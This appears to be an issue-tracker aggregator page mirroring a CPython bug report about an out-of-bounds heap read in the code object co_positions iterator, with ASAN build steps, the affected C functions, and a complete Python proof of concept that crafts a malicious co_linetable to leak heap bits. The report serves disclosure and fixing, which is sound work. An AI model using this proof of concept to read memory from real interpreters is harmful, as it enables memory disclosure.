python / python/cpython

Leak 21~42 bits of heap data in python 3.12 by exploiting the code object co_positions iterator

未關閉
#99,974 6 則留言 1 個 reaction 已指派 0 人 在 GitHub 檢視

還沒有人認領這個 Issue。

3.11 3.12 3.13 interpreter-core pending type-bug
主要語言
Python
星號
77.2k
分支
36k
PR 合併指標
PR 指標待擷取

描述

Problem: Leak 21~42 bits of heap data in python 3.12.0 exploiting the co_positions iterator

Report: """
I've found two heap read out of bound in python 3.10 and 3.12 (and
probably 3.11) in the built-in library.
These are not critical bugs as they are caught by debug assertions and
allow to leak relatively little data (from 16 to 42 bits).
...
Here are the two proofs of concepts, I just wrote a little writeup and reproduction steps at the top of them.
I also added the fully symbolized ASAN crash reports.

TLDR: co_positions and co_lnotab are not properly bounds-checked, which is a problem only on adversarially constructed code objects
which shouldn't be critical as it requires code execution, but it might be triggered by code by libraries that manipulate the code objects.
(I found this bug in a library, and I'm also contacting them to patch it)

Thank you,
Tommaso Fontana
""" - @zommiommy (editor: I assume this is you? apologies if not!)

(editor: I'm splitting this out into two issues, one for 3.12 co_positions and another for 3.10 c_lnotab)

ASAN reproduction steps

# manually configure python with asan
OPT="-O0" CC="/usr/bin/clang" CFLAGS="-g" CXX="/usr/bin/clang++" CXXFLAGS="-g" ./configure --with-address-sanitizer --with-ensurepip=install --with-lto=no
# compile it
make -j24
# run the code
ASAN_SYMBOLIZER_PATH=$(which llvm-symbolizer) ./Python-3.12_asan/python ./poc_heap_leak_3.12.py

Relevant code

from Objects/codeobject.c:

static int
read_byte(PyCodeAddressRange *bounds)
{
    return *bounds->opaque.lo_next++;
}

static int
read_varint(PyCodeAddressRange *bounds)
{
    unsigned int read = read_byte(bounds);
    unsigned int val = read & 63;
    unsigned int shift = 0;
    while (read & 64) {
        read = read_byte(bounds);
        shift += 6;
        val |= (read & 63) << shift;
    }
    return val;
}

static void
advance_with_locations(PyCodeAddressRange *bounds, int *endline, int *column, int *endcolumn)
{
    ASSERT_VALID_BOUNDS(bounds);
    int first_byte = read_byte(bounds);
    int code = (first_byte >> 3) & 15;
    bounds->ar_start = bounds->ar_end;
    bounds->ar_end = bounds->ar_start + ((first_byte & 7) + 1) * sizeof(_Py_CODEUNIT);
    switch(code) {
        ...
        case PY_CODE_LOCATION_INFO_LONG:
        {
            bounds->opaque.computed_line += read_signed_varint(bounds);
            bounds->ar_line = bounds->opaque.computed_line;
            *endline = bounds->ar_line + read_varint(bounds);
            *column = read_varint(bounds)-1;
            *endcolumn = read_varint(bounds)-1;
            break;
        }
        ...
    }
    ASSERT_VALID_BOUNDS(bounds);
}

The ASSERT_VALID_BOUNDS asserts would catch this bug.
The function advance_with_locations does not properly bound check its reads.
Since bytes are saved with a trailing \0 (this can be seen in Objects/bytesobject.c at _PyBytes_fromSize),
setting co_lnotab = b'\x70' would result in a memory layout of 70 00 UB UB UB UB UB UB
where UB are some out of bound bytes.
Therefore, the line bounds->opaque.computed_line += read_signed_varint(bounds); will consume the \x00,
while the other 3 calls of read_varint reads out of bound.

This leaks bytes in multiple of 7 bits, the hsb is always unknown becasue it's supposed to be
always 1 except for the last line interval in the array.
This is done to speedup the eager computation, but it's irrelevant for the lazy evaluation.

Therefore the 7-th bit indicates if the number continues (alla LSB128 but with 6 bits instead of 7)
Also note that there is no overflow check, meaning that IF we leak more than
floor(32 / 6) = 5 -> 30 bits for leak (aka the bit 28 isn't 0), we don't know how many bytes
we read, thus the leaks are potentially separated and thus "useless"

Patch: add a boundcheck to read_varint or enable the asserts, these already avoid this
but they are disabled by default on release builds or add a boundcheck to read_byte
"""

import math
import types
import struct

def divide_chunks(l, n):
    """helper function for pretty print"""
    for i in range(0, len(l), n):
        yield l[i:i + n]

def print_leaked(l, offset):
    """Invert the 7 bits LSB128 encoding, `?` represents unknown bits"""
    if l is None:
        return "?0000000"

    l += offset
    result = ""
    code_words = []
    while l != 0:
        code_word, l = l & 0b111111, l >> 6
        code_words.append(code_word)

    if len(code_words) == 0:
        return "?0000000"

    for code_word in code_words[:-1]:
        result += "?1{:06b}".format(code_word)

    result += "?0{:06b}".format(code_words[-1])
    return result

n = 2**31-1

# leak stuff that's allocated after this string
# we can control the padding length to leak stuff from different arena / pools
padding = 2
linetable = (b"\x00\x00" * padding) + b"\x70"

c = types.CodeType(
    0, # co_argcount, 
    0, # co_posonlyargcount,
    0, # co_kwonlyargcount, 
    0, # co_nlocals,
    0, # co_stacksize, 
    0, # co_flags,
    b'', # co_code, 
    tuple(), # co_consts, 
    tuple(), # co_names,
    tuple(), # co_varnames, 
    '', # co_filename,
    '', # co_name, 
    "", # co_qualname
    n, # co_firstlineno, 
    linetable,# co_linetable,
    b'', # co_exceptiontable
    tuple(), # co_freevars,
    tuple(), # co_cellvars, 
)

line = list(c.co_positions())[-1]
l1 = (line[1] - n) % (2**32)
l2 = line[2]
l3 = line[3]
leak = print_leaked(l1, 0) + print_leaked(l2, 1) + print_leaked(l3, 1)
count = sum(int(b != "?") for b in leak)
print(f"[{count:4}] {' '.join(divide_chunks(leak, 8))}")

貢獻指南

開啟貢獻指南

從這裡開始

  1. 先讀完整個 Issue,再讀專案的貢獻指南。
  2. 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
  3. Fork 儲存庫,在一個分支上完成修改。
  4. 送出 Pull Request,並在描述裡引用這個 Issue 編號。

研究方向

從 Objects/codeobject.c 中的 read_byte、read_varint 和 advance_with_locations 開始,然後使用提供的 ASAN 設定和 poc_heap_leak_3.12.py 重現該報告。追蹤 co_positions 對惡意 co_linetable 的處理,並驗證格式錯誤的資料無法在不觸發 release-build 記憶體錯誤的情況下讀取超出其界限的資料或洩漏堆積位元組。

由索引模型根據 Issue 內容生成。

評估

技術堆疊
c, python
領域
security
Issue 類型
缺陷
難度
4/5
預估耗時
3-5 天
活躍度
活躍
描述清晰度
基本清楚
新手友好度
45/100

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。